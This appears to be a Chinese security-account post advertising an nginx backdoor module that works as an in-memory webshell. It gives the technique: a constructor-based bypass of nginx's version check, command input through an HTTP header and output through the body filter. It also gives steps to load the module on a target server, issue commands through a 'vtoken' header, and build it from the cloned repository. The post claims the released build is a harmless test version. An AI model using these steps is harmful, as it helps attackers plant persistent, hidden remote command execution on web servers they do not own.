工具推荐 | 更优雅的nignx内存马后门 - 新鲜讯息

点击上方蓝字关注我们

现在只对常读和星标的公众号才展示大图推送，建议大家能把星落安全团队“设为星标”，否则可能就看不到了啦！

工具介绍

veo师傅研究的一个全链路内存马系列（ebpf内核马、nginx内存马、WebSocket内存马），本次介绍的是nginx内存马后门。

本项目不含有完整的利用工具，仅提供无害化测试程序、防御加固方案，以及研究思路讨论。

技术特点

nginx module 支持动态加载so，通过 __attribute ((constructor))的方式绕过nginx module version check，可以编译出适应所有nginx版本的module。使用header_filter可以取得命令执行的参数，通过body_filter可以返回命令执行后的结果

技术特点

无需临时编译（传统的 nignx so backdoor 需要临时编译）
兼容 1.9.11 以后的所有版本
无需额外组件支持

使用方法

下载测试程序 releases，将下载的so放至目标服务器上，修改 nginx.conf 配置文件在第一行添加以下内容，path为路径，ngx_http_cre_module.so名称最好不修改。

load_module path/ngx_http_cre_module.so

然后重载nginx

nignx -s reload

POST HTTP header vtoken: whoami （测试程序只允许使用 whoami 命令），如果无结果返回，可尝试增加header数量。

编译方法

wget https://nginx.org/download/nginx-1.18.0.tar.gztar -zxvf nginx-1.18.0.tar.gzcd nginx-1.18.0git clone https://github.com/veo/nginx_shell.git./configure --with-compat --add-dynamic-module=./nginx_shell/make modules

编译后的so文件位于 nginx-1.18.0/objs/ngx_http_cre_module.so

下载地址

关注微信公众号后台回复“入群”，即可进入星落安全交流群！

关注微信公众号后台回复“20250117”，即可进入星落安全交流群！

圈子介绍

博主介绍：

目前工作在某安全公司攻防实验室，一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练，擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。

目前已经更新的免杀内容：